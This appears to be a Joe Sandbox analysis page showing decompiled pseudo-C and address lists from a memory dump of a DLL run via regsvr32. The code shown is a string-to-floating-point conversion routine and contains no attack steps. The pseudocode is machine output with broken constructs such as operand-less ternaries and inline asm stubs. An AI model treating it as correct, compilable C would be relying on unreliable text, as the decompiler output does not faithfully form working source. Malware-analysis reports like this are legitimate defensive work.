															_t252 =  &_a84;
															r12d = 5;
															do {
																__eflags = r12d;
																_t182 = r12d;
																_t248 = _t272 + _t272;
																if(r12d <= 0) {
																	goto L66;
																}
																_t59 =  &(_t275[2]); // 0x9
																_t266 = _t59;
																_t61 = _t248 + 0x60; // 0x65
																_t269 = _t259 + _t61;
																_t206 = r13d & 0x00000001;
																__eflags = _t206;
																do {
																	_t187 = ( *_t269 & 0x0000ffff) * ( *_t266 & 0x0000ffff);
																	__eflags = _t206;
																	if(_t206 == 0) {
																		r8d = 0;
																		r9d = _t238 + _t248;
																		__eflags = r9d -  *(_t252 - 4);
																		if(r9d <  *(_t252 - 4)) {
																			L61:
																			r8d = 1;
																			L62:
																			 *(_t252 - 4) = r9d;
																			goto L63;
																		}
																		__eflags = r9d - _t187;
																		if(r9d >= _t187) {
																			goto L62;
																		}
																		goto L61;
																	}
																	r8d = 0;
																	r9d = _t238 + _t248;
																	__eflags = r9d -  *(_t252 - 4);
																	if(r9d <  *(_t252 - 4)) {
																		L57:
																		r8d = 1;
																		L58:
																		 *(_t252 - 4) = r9d;
																		goto L63;
																	}
																	__eflags = r9d - _t187;
																	if(r9d >= _t187) {
																		goto L58;
																	}
																	goto L57;
																	L63:
																	__eflags = r8d;
																	if(r8d != 0) {
																		 *_t252 =  *_t252 + 1;
																		__eflags =  *_t252;
																	}
																	_t182 = _t182 - 1;
																	_t269 =  &(_t269[1]);
																	_t266 = _t266 - 2;
																	__eflags = _t182;
																} while (_t182 > 0);
																L66:
																r12d = r12d - 1;
																_t252 =  &(_t252[0]);
																r13d = r13d + 1;
																__eflags = r12d;
															} while (r12d > 0);
															_t203 = _t202 + 0xc002;
															__eflags = _t203;
															if(__eflags <= 0) {
																r8d = _a88;
																_t198 = _a84;
																r9d = _a80;
																L81:
																_t203 = _t203 + 0xffff;
																__eflags = _t203;
																if(_t203 >= 0) {
																	L73:
																	_t155 = _a80 & 0x0000ffff;
																	L74:
																	__eflags = _t155 - 0x8000;
																	if(_t155 > 0x8000) {
																		L76:
																		_t156 = _a82;
																		__eflags = _t156 - 0xffffffff;
																		if(_t156 != 0xffffffff) {
																			_t157 = _t156 + 1;
																			__eflags = _t157;
																			_a82 = _t157;
																			_t198 = _a84;
																		} else {
																			_t161 = _a86;
																			_a82 = 0;
																			__eflags = _t161 - 0xffffffff;
																			if(_t161 != 0xffffffff) {
																				_a86 = _t161 + 1;
																				r8d = _a88;
																				_t198 = _a84;
																			} else {
																				_t163 = _a90 & 0x0000ffff;
																				_a86 = 0;
																				__eflags = _t163 - 0xffff;
																				if(_t163 != 0xffff) {
																					_t198 = _a84;
																					_a90 = _t163 + 1;
																					r8d = _a88;
																				} else {
																					_t198 = _a84;
																					_a90 = 0x8000;
																					r8d = _a88;
																					_t203 = _t203 + 1;
																				}
																			}
																		}
																		L91:
																		__eflags = _t203 - 0x7fff;
																		if(_t203 < 0x7fff) {
																			_a98 = _t198;
																			_t251 = _a64;
																			_a102 = r8d;
																			r8d = _a48;
																			_a96 = _a82 & 0x0000ffff;
																			_a106 = _t203 | _a56;
																			r9d = 0xffff8000;
																		} else {
																			__eflags = _a56;
																			_t251 = _a64;
																			r8d = _a48;
																			r9d = 0xffff8000;
																			_a100 = 0;
																			_t160 =  !=  ? r9d : 0x7fff8000;
																			_a96 = 0;
																			_a104 =  !=  ? r9d : 0x7fff8000;
																		}
																		goto L95;
																	}
																	r9d = r9d & 0x0001ffff;
																	__eflags = r9d - 0x18000;
																	if(r9d != 0x18000) {
																		goto L91;
																	}
																	goto L76;
																}
																r10d =  ~(_t203 & 0x0000ffff) & 0x0000ffff;
																_t203 = _t203 + r10w;
																__eflags = _t203;
																do {
																	__eflags = _a80 & 0x00000001;
																	if((_a80 & 0x00000001) != 0) {
																		r15d = r15d + 1;
																		__eflags = r15d;
																	}
																	r9d = r9d >> 1;
																	r9d = r9d | _t198 << 0x0000001f;
																	r8d = r8d >> 1;
																	_t198 = _t198 >> 0x00000001 | r8d << 0x0000001f;
																	_t266 = _t266 - 1;
																	__eflags = _t266;
																	_a80 = r9d;
																} while (_t266 != 0);
																__eflags = r15d;
																_a84 = _t198;
																_a88 = r8d;
																if(r15d == 0) {
																	goto L73;
																}
																_t155 = r9w | 0x00000001;
																_a80 = _t155;
																r9d = _a80;
																goto L74;
															}
															r8d = _a88;
															_t198 = _a84;
															r9d = _a80;
															while(1) {
																asm("inc ecx");
																if(__eflags < 0) {
																	break;
																}
																r8d = r8d + r8d;
																_t191 = _t198 >> 0x1f;
																r9d = r9d + r9d;
																_t198 = _t198 + _t198 | r9d >> 0x0000001f;
																r8d = r8d | _t191;
																_t203 = _t203 + 0xffff;
																_a84 = _t198;
																_a88 = r8d;
																__eflags = _t203;
																_a80 = r9d;
																if(__eflags > 0) {
																	continue;
																}
																goto L81;
															}
															__eflags = _t203;
															if(_t203 <= 0) {
																goto L81;
															}
															goto L73;
														}
														_t202 = _t202 + 1;
														asm("btr eax, 0x1f");
														__eflags = _t275[2];
														if(_t275[2] != 0) {
															goto L51;
														}
														__eflags = _t275[1];
														if(_t275[1] != 0) {
															goto L51;
														}
														__eflags =  *_t275;
														if( *_t275 != 0) {
															goto L51;
														}
														_t251 = _a64;
														_a104 = 0;
														_a100 = 0;
														_a96 = 0;
														goto L95;
													}
													_t202 = _t202 + 1;
													asm("btr eax, 0x1f");
													__eflags = _a104;
													if(_a104 != 0) {
														goto L46;
													}
													__eflags = _a100;
													if(_a100 != 0) {
														goto L46;
													}
													__eflags = _a96;
													if(_a96 != 0) {
														goto L46;
													}
													_t251 = _a64;
													_a106 = 0;
													goto L95;
												}
												_t251 = _a64;
												_a104 = 0;
												_a100 = 0;
												_a96 = 0;
											}
											L95:
										} while (r8d != 0);
										_t201 = 0;
									}
									goto L98;
								}
							}
							do {
								_t268 = _t268 - 1;
								r10d = r10d + 0xffffffff;
								_t181 = _t181 + 1;
							} while ( *_t268 == 0);
							goto L19;
						}
						L15:
						__eflags = r10d;
						if(r10d == 0) {
							r8d = _t201;
							_t193 = _t201;
							goto L103;
						}
						goto L16;
					} else {
						goto L12;
					}
					while(1) {
						L12:
						__eflags = _t192 - 0x39;
						if(_t192 > 0x39) {
							goto L14;
						}
						_t192 =  *_t261;
						_t261 = _t261 + _t270;
						__eflags = _t192 - 0x30;
						if(_t192 >= 0x30) {
							continue;
						}
						goto L14;
					}
					goto L14;
				} else {
					while(1) {
						__eflags = __dl - 0x39;
						if(__dl > 0x39) {
							goto L11;
						}
						__ecx = __rax + __rax * 4;
						__eax = __dl;
						__eax = __rax + __rcx * 2 - 0x30;
						__eflags = __eax - 0x1450;
						_a48 = __eax;
						if(__eax > 0x1450) {
							__eax = 0x1451;
							_a48 = 0x1451;
							goto L11;
						}
						__dl =  *__r8;
						__r8 = __r8 + __r12;
						__eflags = __dl - 0x30;
						if(__dl >= 0x30) {
							continue;
						}
						goto L11;
					}
					goto L11;
				}
			}

0x1004b901
0x1004b901
0x1004b901
0x1004b901
0x1004b901
0x1004b901
0x1004b901
0x1004b901
0x1004b901
0x1004b901
0x1004b906
0x1004b906
0x1004b90c
0x1004b910
0x1004b942
0x1004b942
0x1004b945
0x1004b957
0x1004b957
0x1004b871
0x1004b875
0x1004be56
0x1004be59
0x1004be5b
0x00000000
0x1004b87b
0x1004b87f
0x00000000
0x00000000
0x1004b885
0x1004b88f
0x1004b893
0x1004b893
0x1004b89a
0x1004b89e
0x1004b8a4
0x1004b968
0x1004b968
0x1004b970
0x1004b991
0x1004b991
0x1004b996
0x1004b9a1
0x1004b9a9
0x1004b9b5
0x1004b9ab
0x1004b9ab
0x1004b9b0
0x1004b9b0
0x1004b9ba
0x1004b9c0
0x1004b9c2
0x1004b9c2
0x1004b9cd
0x1004b9cf
0x1004b9cf
0x1004b9de
0x1004be39
0x1004be3b
0x1004be3f
0x1004be45
0x1004be4a
0x00000000
0x1004b9e4
0x1004b9eb
0x1004be2d
0x1004be30
0x1004be32
0x1004be60
0x1004be60
0x1004be63
0x1004be63
0x1004be66
0x1004be66
0x1004be70
0x1004be77
0x1004be7b
0x1004be7f
0x1004beda
0x1004beda
0x1004b9f8
0x1004b9ff
0x1004be16
0x1004be1a
0x1004be1f
0x1004be23
0x1004be28
0x00000000
0x1004be28
0x1004ba08
0x1004ba11
0x1004ba14
0x1004ba14
0x1004ba27
0x1004ba2e
0x1004ba33
0x1004be14
0x1004be14
0x1004ba39
0x1004ba39
0x1004ba40
0x1004ba43
0x1004ba47
0x1004ba4e
0x1004ba53
0x1004ba58
0x00000000
0x00000000
0x1004ba60
0x1004ba6a
0x1004ba6e
0x1004ba73
0x1004ba73
0x1004ba78
0x1004ba7b
0x1004ba7f
0x1004ba7f
0x1004ba84
0x1004ba8c
0x1004ba93
0x1004ba93
0x1004ba97
0x1004ba9c
0x1004baa1
0x1004baa7
0x1004baac
0x1004bab3
0x1004bab7
0x1004babb
0x1004bac4
0x1004bac8
0x1004bacd
0x1004bad0
0x1004bdea
0x1004bded
0x1004bdf7
0x1004bdfb
0x1004bdff
0x1004be03
0x1004baec
0x1004baf1
0x1004bb09
0x1004bb0c
0x1004bb39
0x1004bb39
0x1004bb3c
0x1004bb6f
0x1004bb6f
0x1004bb72
0x1004bb77
0x1004bb80
0x1004bb80
0x1004bb88
0x1004bb8b
0x1004bb8e
0x00000000
0x00000000
0x1004bb93
0x1004bb93
0x1004bb97
0x1004bb97
0x1004bb9c
0x1004bb9c
0x1004bba0
0x1004bba8
0x1004bbab
0x1004bbad
0x1004bbd2
0x1004bbd5
0x1004bbd9
0x1004bbdc
0x1004bbe3
0x1004bbe3
0x1004bbe9
0x1004bbe9
0x00000000
0x1004bbe9
0x1004bbde
0x1004bbe1
0x00000000
0x00000000
0x00000000
0x1004bbe1
0x1004bbb2
0x1004bbb5
0x1004bbb9
0x1004bbbc
0x1004bbc3
0x1004bbc3
0x1004bbc9
0x1004bbc9
0x00000000
0x1004bbc9
0x1004bbbe
0x1004bbc1
0x00000000
0x00000000
0x00000000
0x1004bbed
0x1004bbed
0x1004bbf0
0x1004bbf2
0x1004bbf2
0x1004bbf2
0x1004bbf6
0x1004bbf9
0x1004bbfd
0x1004bc01
0x1004bc01
0x1004bc05
0x1004bc05
0x1004bc09
0x1004bc0d
0x1004bc11
0x1004bc11
0x1004bc1a
0x1004bc1f
0x1004bc22
0x1004bcdd
0x1004bce2
0x1004bce6
0x1004bceb
0x1004bceb
0x1004bceb
0x1004bcf0
0x1004bc74
0x1004bc74
0x1004bc79
0x1004bc79
0x1004bc7d
0x1004bc93
0x1004bc93
0x1004bc97
0x1004bc9a
0x1004bd7d
0x1004bd7d
0x1004bd80
0x1004bd84
0x1004bca0
0x1004bca0
0x1004bca4
0x1004bca8
0x1004bcab
0x1004bd6e
0x1004bd72
0x1004bd77
0x1004bcb1
0x1004bcb1
0x1004bcb6
0x1004bcba
0x1004bcbe
0x1004bd57
0x1004bd5f
0x1004bd64
0x1004bcc4
0x1004bcc4
0x1004bcc8
0x1004bccf
0x1004bcd4
0x1004bcd4
0x1004bcbe
0x1004bcab
0x1004bd88
0x1004bd88
0x1004bd8d
0x1004bdc5
0x1004bdc9
0x1004bdce
0x1004bdd3
0x1004bdd8
0x1004bddd
0x1004bde2
0x1004bd8f
0x1004bd8f
0x1004bd94
0x1004bd99
0x1004bda3
0x1004bda9
0x1004bdad
0x1004bdb1
0x1004bdb5
0x1004bdb5
0x00000000
0x1004bd8d
0x1004bc7f
0x1004bc86
0x1004bc8d
0x00000000
0x00000000
0x00000000
0x1004bc8d
0x1004bcf8
0x1004bcfc
0x1004bcfc
0x1004bd00
0x1004bd00
0x1004bd05
0x1004bd07
0x1004bd07
0x1004bd07
0x1004bd10
0x1004bd1b
0x1004bd1e
0x1004bd21
0x1004bd23
0x1004bd23
0x1004bd27
0x1004bd27
0x1004bd2e
0x1004bd31
0x1004bd35
0x1004bd3a
0x00000000
0x00000000
0x1004bd44
0x1004bd48
0x1004bd4d
0x00000000
0x1004bd4d
0x1004bc28
0x1004bc2d
0x1004bc31
0x1004bc36
0x1004bc36
0x1004bc3b
0x00000000
0x00000000
0x1004bc42
0x1004bc4a
0x1004bc4d
0x1004bc50
0x1004bc52
0x1004bc55
0x1004bc5a
0x1004bc5e
0x1004bc63
0x1004bc66
0x1004bc6b
0x00000000
0x00000000
0x00000000
0x1004bc6d
0x1004bc6f
0x1004bc72
0x00000000
0x00000000
0x00000000
0x1004bc72
0x1004bb42
0x1004bb46
0x1004bb4a
0x1004bb4c
0x00000000
0x00000000
0x1004bb4e
0x1004bb52
0x00000000
0x00000000
0x1004bb54
0x1004bb57
0x00000000
0x00000000
0x1004bb59
0x1004bb5e
0x1004bb62
0x1004bb66
0x00000000
0x1004bb66
0x1004bb12
0x1004bb16
0x1004bb1a
0x1004bb1c
0x00000000
0x00000000
0x1004bb1e
0x1004bb22
0x00000000
0x00000000
0x1004bb24
0x1004bb28
0x00000000
0x00000000
0x1004bb2a
0x1004bb2f
0x00000000
0x1004bb2f
0x1004baf3
0x1004baf8
0x1004bafc
0x1004bb00
0x1004bb00
0x1004be07
0x1004be07
0x1004be10
0x1004be10
0x00000000
0x1004ba33
0x1004b9de
0x1004b980
0x1004b980
0x1004b984
0x1004b988
0x1004b98b
0x00000000
0x1004b980
0x1004b95f
0x1004b95f
0x1004b962
0x1004be4f
0x1004be52
0x00000000
0x1004be52
0x00000000
0x00000000
0x00000000
0x00000000
0x1004b947
0x1004b947
0x1004b947
0x1004b94a
0x00000000
0x00000000
0x1004b94c
0x1004b94f
0x1004b952
0x1004b955
0x00000000
0x00000000
0x00000000
0x1004b955
0x00000000
0x1004b912
0x1004b912
0x1004b912
0x1004b915
0x00000000
0x00000000
0x1004b917
0x1004b91a
0x1004b91d
0x1004b921
0x1004b926
0x1004b92a
0x1004b939
0x1004b93e
0x00000000
0x1004b93e
0x1004b92c
0x1004b92f
0x1004b932
0x1004b935
0x00000000
0x00000000
0x00000000
0x1004b937
0x00000000
0x1004b912

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c24e4d47ca9266d7aa4ce374f8619e64a90ad04e366452ec2e69ddb90c7e8759
Instruction ID: ea2e399f823396dd5530d1ca0498440efc02e4f2eacaeb4a76fab6f6685333d3
Opcode Fuzzy Hash: c24e4d47ca9266d7aa4ce374f8619e64a90ad04e366452ec2e69ddb90c7e8759
Instruction Fuzzy Hash: FD61F677528ED5C6DB61CF1AD04079AB7A2F380780FA05026EB8983A59DB3DD945CF04

Uniqueness

Uniqueness Score: -1.00%

Function 1004B72E Relevance: .2, Instructions: 169
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E1004B72E(void* __ebx, signed int __ebp, void* __rdx, long long __r8, void* __r11, long long* __r13, signed int _a48, signed int _a52, signed int _a56, long long _a64, signed int* _a72, unsigned int _a80, signed short _a82, signed int _a84, signed int _a86, signed int _a88, signed int _a90, signed int _a96, signed int _a98, signed int _a100, signed int _a102, unsigned int _a104, signed int _a106, unsigned int _a112, signed int _a114, char _a128, signed int _a151, signed int _a160, void* _a184, void* _a192, void* _a200, void* _a208, void* _a216, void* _a224, void* _a232, void* _a240, intOrPtr _a288, intOrPtr _a296) {
				unsigned int _t141;
				signed int _t142;
				signed short _t152;
				signed short _t153;
				signed short _t157;
				signed short _t158;
				signed int _t159;
				signed int _t163;
				signed int _t165;
				signed int _t179;
				signed int _t180;
				signed int _t181;
				signed char _t182;
				void* _t183;
				signed int _t184;
				signed int _t186;
				signed short _t187;
				signed short _t188;
				signed int _t190;
				signed int _t194;
				void* _t195;
				signed int _t197;
				signed short _t201;
				signed int _t202;
				signed int _t205;
				void* _t206;
				signed int _t207;
				signed int _t210;
				signed int _t211;
				void* _t219;
				signed long long _t226;
				void* _t227;
				void* _t228;
				long long _t230;
				signed int* _t231;
				long long _t233;
				void* _t235;
				signed long long _t238;
				void* _t242;
				signed int* _t243;
				void* _t244;
				signed int _t245;
				void* _t246;
				char* _t247;
				signed short* _t248;
				long long* _t250;
				signed int* _t253;

				_t250 = __r13;
				_t246 = __r11;
				_t240 = __r8;
				_t228 = __rdx;
				_t211 = __ebp;
				_t183 = __ebx;
				_t233 = __r8 - 2;
				if(__rdx - 0x31 > 8) {
					__eflags = _t195 - 0x2b;
					if(_t195 == 0x2b) {
						r9d = 7;
						goto L1;
					}
					__eflags = _t195 - 0x2d;
					if(_t195 == 0x2d) {
						r9d = 7;
						r14d = _t242 - 8;
						goto L1;
					}
					__eflags = _t195 - 0x30;
					if(_t195 != 0x30) {
						_t240 = _t233;
						_t205 = 0;
						goto L12;
					}
					r9d = 8;
				} else {
					r9d = 9;
					_t240 = __r8 - 1;
					do {
						goto L1;
					} while (r9d != 0xa);
					_t205 = 0;
					__eflags = 0;
					L12:
					__eflags = _t211;
					 *_t250 = _t240;
					if(_t211 == 0) {
						r8d = _t205;
						_t197 = _t205;
						_t205 = 4;
						L106:
						_t186 = 0;
						_t141 = 0;
						__eflags = 0;
						L107:
						_t243 = _a72;
						_t142 = _t141 | _a52;
						__eflags = _t142;
						_t243[2] = _t142;
						 *_t243 = _t186;
						_t243[0] = _t197;
						_t243[1] = r8d;
						__eflags = _a160 ^ _t238;
						return E1002FF40(_t186, _a160 ^ _t238);
					}
					__eflags = r10d - 0x18;
					if(r10d <= 0x18) {
						__eflags = r10d;
						if(r10d == 0) {
							r8d = _t205;
							_t197 = _t205;
							goto L106;
						}
						L19:
						_t247 = _t246 - 1;
						__eflags =  *_t247;
						if( *_t247 != 0) {
							L22:
							_t14 =  &_a96; // 0x61
							_t15 =  &_a128; // 0x81
							E1004EED0(r10d, _t219, _t15, _t228, _t233, _t235, _t14, _t242, _t244, _t247);
							__eflags = r14d;
							if(r14d >= 0) {
								r8d = _a48;
							} else {
								r8d = _a48;
								r8d =  ~r8d;
							}
							r8d = r8d + _t183;
							__eflags = r12d;
							if(r12d == 0) {
								r8d = r8d + _a288;
								__eflags = r8d;
							}
							__eflags = r15d;
							if(r15d == 0) {
								r8d = r8d - _a296;
								__eflags = r8d;
							}
							__eflags = r8d - 0x1450;
							if(r8d > 0x1450) {
								_t197 = _t205;
								_t141 = 0x7fff;
								r8d = 0x80000000;
								_t205 = 2;
								_t186 = 0;
								goto L107;
							} else {
								__eflags = r8d - 0xffffebb0;
								if(r8d < 0xffffebb0) {
									r8d = _t205;
									_t197 = _t205;
									_t205 = 1;
									goto L106;
								}
								_t230 = 0x100b3270;
								__eflags = r8d;
								if(r8d == 0) {
									L101:
									_t186 = _a96 & 0x0000ffff;
									_t197 = _a98;
									r8d = _a102;
									_t141 = _a104 >> 0x10;
									goto L107;
								}
								__eflags = r8d;
								if(r8d < 0) {
									r8d =  ~r8d;
									_t230 = 0x100b33d0;
									__eflags = 0x100b3430;
								}
								__eflags = _a56;
								_t148 =  ==  ? 0 : _a96 & 0x0000ffff;
								__eflags = r8d;
								_a96 =  ==  ? 0 : _a96 & 0x0000ffff;
								if(r8d == 0) {
									_t205 = 0;
									__eflags = 0;
								} else {
									r9d = 0xffff8000;
									do {
										_t230 = _t230 + 0x54;
										r8d = r8d >> 3;
										__eflags = r8d & 0x00000007;
										_a48 = r8d;
										_a64 = _t230;
										if((r8d & 0x00000007) == 0) {
											goto L98;
										}
										_t226 = _t215 + _t215 * 2;
										__eflags =  *((short*)(_t230 + _t226 * 4)) - 0x8000;
										_t253 = _t230 + _t226 * 4;
										if( *((short*)(_t230 + _t226 * 4)) >= 0x8000) {
											_t31 =  &_a112; // 0x71
											_t226 = _t31;
											 *_t226 =  *_t253;
											_t179 = _t253[2];
											_t33 =  &_a112; // 0x71
											_t253 = _t33;
											 *(_t226 + 8) = _t179;
											_t215 = _a112 >> 0x10;
											_t180 = _t179 - 1;
											__eflags = _t180;
											_a114 = _t180;
										}
										_t187 = _t253[2] & 0x0000ffff;
										_t152 = _a106 & 0x0000ffff;
										r15d = 0;
										_t188 = _t187 & 0x00007fff;
										_a80 = 0;
										_t153 = _t152 & 0x00007fff;
										_a84 = 0;
										_t201 = (_t187 & 0x0000ffff ^ _t152) & 0x00008000;
										__eflags = _t153 - 0x7fff;
										_a88 = 0;
										_a56 = _t201;
										_t206 = _t215 + _t226;
										if(_t153 >= 0x7fff) {
											L97:
											__eflags = _t201;
											_t230 = _a64;
											_t155 =  !=  ? r9d : 0x7fff8000;
											__eflags = 0x7fff8000;
											_a100 = 0;
											_a96 = 0;
											_a104 =  !=  ? r9d : 0x7fff8000;
										} else {
											__eflags = _t188 - 0x7fff;
											if(_t188 >= 0x7fff) {
												goto L97;
											}
											__eflags = _t206 - 0xbffd;
											if(_t206 > 0xbffd) {
												goto L97;
											}
											__eflags = _t206 - 0x3fbf;
											if(_t206 > 0x3fbf) {
												__eflags = _t153;
												if(_t153 != 0) {
													L49:
													__eflags = _t188;
													if(_t188 != 0) {
														L54:
														r13d = 0;
														_t231 =  &_a84;
														r12d = 5;
														do {
															__eflags = r12d;
															_t184 = r12d;
															_t227 = _t250 + _t250;
															if(r12d <= 0) {
																goto L69;
															}
															_t61 =  &(_t253[2]); // 0x9
															_t245 = _t61;
															_t63 = _t227 + 0x60; // 0x65
															_t248 = _t238 + _t63;
															_t210 = r13d & 0x00000001;
															__eflags = _t210;
															do {
																_t190 = ( *_t248 & 0x0000ffff) * ( *_t245 & 0x0000ffff);
																__eflags = _t210;
																if(_t210 == 0) {
																	r8d = 0;
																	r9d = _t215 + _t227;
																	__eflags = r9d -  *(_t231 - 4);
																	if(r9d <  *(_t231 - 4)) {
																		L64:
																		r8d = 1;
																		L65:
																		 *(_t231 - 4) = r9d;
																		goto L66;
																	}
																	__eflags = r9d - _t190;
																	if(r9d >= _t190) {
																		goto L65;
																	}
																	goto L64;
																}
																r8d = 0;
																r9d = _t215 + _t227;
																__eflags = r9d -  *(_t231 - 4);
																if(r9d <  *(_t231 - 4)) {
																	L60:
																	r8d = 1;
																	L61:
																	 *(_t231 - 4) = r9d;
																	goto L66;
																}
																__eflags = r9d - _t190;
																if(r9d >= _t190) {
																	goto L61;
																}
																goto L60;
																L66:
																__eflags = r8d;
																if(r8d != 0) {
																	 *_t231 =  *_t231 + 1;
																	__eflags =  *_t231;
																}
																_t184 = _t184 - 1;
																_t248 =  &(_t248[1]);
																_t245 = _t245 - 2;
																__eflags = _t184;
															} while (_t184 > 0);
															L69:
															r12d = r12d - 1;
															_t231 =  &(_t231[0]);
															r13d = r13d + 1;
															__eflags = r12d;
														} while (r12d > 0);
														_t207 = _t206 + 0xc002;
														__eflags = _t207;
														if(__eflags <= 0) {
															r8d = _a88;
															_t202 = _a84;
															r9d = _a80;
															L84:
															_t207 = _t207 + 0xffff;
															__eflags = _t207;
															if(_t207 >= 0) {
																L76:
																_t157 = _a80 & 0x0000ffff;
																L77:
																__eflags = _t157 - 0x8000;
																if(_t157 > 0x8000) {
																	L79:
																	_t158 = _a82;
																	__eflags = _t158 - 0xffffffff;
																	if(_t158 != 0xffffffff) {
																		_t159 = _t158 + 1;
																		__eflags = _t159;
																		_a82 = _t159;
																		_t202 = _a84;
																	} else {
																		_t163 = _a86;
																		_a82 = 0;
																		__eflags = _t163 - 0xffffffff;
																		if(_t163 != 0xffffffff) {
																			_a86 = _t163 + 1;
																			r8d = _a88;
																			_t202 = _a84;
																		} else {
																			_t165 = _a90 & 0x0000ffff;
																			_a86 = 0;
																			__eflags = _t165 - 0xffff;
																			if(_t165 != 0xffff) {
																				_t202 = _a84;
																				_a90 = _t165 + 1;
																				r8d = _a88;
																			} else {
																				_t202 = _a84;
																				_a90 = 0x8000;
																				r8d = _a88;
																				_t207 = _t207 + 1;
																			}
																		}
																	}
																	L94:
																	__eflags = _t207 - 0x7fff;
																	if(_t207 < 0x7fff) {
																		_a98 = _t202;
																		_t230 = _a64;
																		_a102 = r8d;
																		r8d = _a48;
																		_a96 = _a82 & 0x0000ffff;
																		_a106 = _t207 | _a56;
																		r9d = 0xffff8000;
																	} else {
																		__eflags = _a56;
																		_t230 = _a64;
																		r8d = _a48;
																		r9d = 0xffff8000;
																		_a100 = 0;
																		_t162 =  !=  ? r9d : 0x7fff8000;
																		_a96 = 0;
																		_a104 =  !=  ? r9d : 0x7fff8000;
																	}
																	goto L98;
																}
																r9d = r9d & 0x0001ffff;
																__eflags = r9d - 0x18000;
																if(r9d != 0x18000) {
																	goto L94;
																}
																goto L79;
															}
															r10d =  ~(_t207 & 0x0000ffff) & 0x0000ffff;
															_t207 = _t207 + r10w;
															__eflags = _t207;
															do {
																__eflags = _a80 & 0x00000001;
																if((_a80 & 0x00000001) != 0) {
																	r15d = r15d + 1;
																	__eflags = r15d;
																}
																r9d = r9d >> 1;
																r9d = r9d | _t202 << 0x0000001f;
																r8d = r8d >> 1;
																_t202 = _t202 >> 0x00000001 | r8d << 0x0000001f;
																_t245 = _t245 - 1;
																__eflags = _t245;
																_a80 = r9d;
															} while (_t245 != 0);
															__eflags = r15d;
															_a84 = _t202;
															_a88 = r8d;
															if(r15d == 0) {
																goto L76;
															}
															_t157 = r9w | 0x00000001;
															_a80 = _t157;
															r9d = _a80;
															goto L77;
														}
														r8d = _a88;
														_t202 = _a84;
														r9d = _a80;
														while(1) {
															asm("inc ecx");
															if(__eflags < 0) {
																break;
															}
															r8d = r8d + r8d;
															_t194 = _t202 >> 0x1f;
															r9d = r9d + r9d;
															_t202 = _t202 + _t202 | r9d >> 0x0000001f;
															r8d = r8d | _t194;
															_t207 = _t207 + 0xffff;
															_a84 = _t202;
															_a88 = r8d;
															__eflags = _t207;
															_a80 = r9d;
															if(__eflags > 0) {
																continue;
															}
															goto L84;
														}
														__eflags = _t207;
														if(_t207 <= 0) {
															goto L84;
														}
														goto L76;
													}
													_t206 = _t206 + 1;
													asm("btr eax, 0x1f");
													__eflags = _t253[2];
													if(_t253[2] != 0) {
														goto L54;
													}
													__eflags = _t253[1];
													if(_t253[1] != 0) {
														goto L54;
													}
													__eflags =  *_t253;
													if( *_t253 != 0) {
														goto L54;
													}
													_t230 = _a64;
													_a104 = 0;
													_a100 = 0;
													_a96 = 0;
													goto L98;
												}
												_t206 = _t206 + 1;
												asm("btr eax, 0x1f");
												__eflags = _a104;
												if(_a104 != 0) {
													goto L49;
												}
												__eflags = _a100;
												if(_a100 != 0) {
													goto L49;
												}
												__eflags = _a96;
												if(_a96 != 0) {
													goto L49;
												}
												_t230 = _a64;
												_a106 = 0;
												goto L98;
											}
											_t230 = _a64;
											_a104 = 0;
											_a100 = 0;
											_a96 = 0;
										}
										L98:
										__eflags = r8d;
									} while (r8d != 0);
									_t205 = 0;
								}
								goto L101;
							}
						}
						do {
							_t247 = _t247 - 1;
							r10d = r10d + 0xffffffff;
							_t183 = _t183 + 1;
							__eflags =  *_t247;
						} while ( *_t247 == 0);
						goto L22;
					}
					_t181 = _a151 & 0x000000ff;
					__eflags = _t181 - 5;
					if(_t181 >= 5) {
						_t182 = _t181 + 1;
						__eflags = _t182;
						_a151 = _t182;
					}
					_t246 = _t246 - 1;
					r10d = 0x18;
					_t183 = _t183 + 1;
					goto L19;
				}
				L1:
				_t240 = _t240 + 1;
				if(r9d <= 0xb) {
					_t215 = 0x10000000;
					goto __rcx;
				}
				__eflags = r9d - 0xa;
			}

0x1004b72e
0x1004b72e
0x1004b72e
0x1004b72e
0x1004b72e
0x1004b72e
0x1004b731
0x1004b737
0x1004b74f
0x1004b752
0x1004b78a
0x00000000
0x1004b790
0x1004b754
0x1004b757
0x1004b774
0x1004b781
0x00000000
0x1004b781
0x1004b759
0x1004b75c
0x1004b8d7
0x1004b8da
0x00000000
0x1004b8da
0x1004b762
0x1004b739
0x1004b739
0x1004b73f
0x1004b410
0x00000000
0x00000000
0x1004b86d
0x1004b86d
0x1004b86f
0x1004b86f
0x1004b871
0x1004b875
0x1004be56
0x1004be59
0x1004be5b
0x1004be60
0x1004be60
0x1004be63
0x1004be63
0x1004be66
0x1004be66
0x1004be6b
0x1004be6b
0x1004be70
0x1004be77
0x1004be7b
0x1004be7f
0x1004becb
0x1004beda
0x1004beda
0x1004b87b
0x1004b87f
0x1004b95f
0x1004b962
0x1004be4f
0x1004be52
0x00000000
0x1004be52
0x1004b968
0x1004b968
0x1004b96c
0x1004b970
0x1004b991
0x1004b991
0x1004b996
0x1004b9a1
0x1004b9a6
0x1004b9a9
0x1004b9b5
0x1004b9ab
0x1004b9ab
0x1004b9b0
0x1004b9b0
0x1004b9ba
0x1004b9bd
0x1004b9c0
0x1004b9c2
0x1004b9c2
0x1004b9c2
0x1004b9ca
0x1004b9cd
0x1004b9cf
0x1004b9cf
0x1004b9cf
0x1004b9d7
0x1004b9de
0x1004be39
0x1004be3b
0x1004be3f
0x1004be45
0x1004be4a
0x00000000
0x1004b9e4
0x1004b9e4
0x1004b9eb
0x1004be2d
0x1004be30
0x1004be32
0x00000000
0x1004be32
0x1004b9f8
0x1004b9fc
0x1004b9ff
0x1004be16
0x1004be1a
0x1004be1f
0x1004be23
0x1004be28
0x00000000
0x1004be28
0x1004ba05
0x1004ba08
0x1004ba11
